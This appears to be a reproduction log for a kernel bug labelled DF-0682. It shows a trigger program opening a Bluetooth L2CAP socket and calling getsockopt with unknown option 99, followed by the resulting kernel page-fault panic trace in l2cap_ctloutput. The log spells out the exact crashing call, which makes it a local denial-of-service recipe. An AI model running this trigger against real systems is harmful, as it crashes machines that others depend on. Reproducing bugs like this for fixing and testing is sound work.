=== DF-0682 baseline run (6.5-DEVELOPMENT #0, netbt.ko loaded) ===
$ ./trigger
[*] DF-0682: L2CAP PRCO_GETOPT missing-break panic trigger
[*] opening AF_BLUETOOTH/SOCK_SEQPACKET/BTPROTO_L2CAP socket
[+] socket fd=3 allocated
[*] getsockopt(fd, BTPROTO_L2CAP, 99=unknown, ...) -> expect kernel panic
<ssh timeout -- guest went down>

=== boot.log panic signature ===
Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address    = 0x18
fault code               = supervisor read data, page not present
instruction pointer      = 0x8:0xffffffff8260d01f
stack pointer            = 0x10:0xfffff8008d1f8a60
frame pointer            = 0x10:0xfffff8008d1f8a80
processor eflags         = interrupt enabled, resume, IOPL = 0
current process          = Idle
kernel: type 12 trap, code=0

Stopped at      l2cap_ctloutput.cold.5+0x8:     movl    0x18,%eax
db>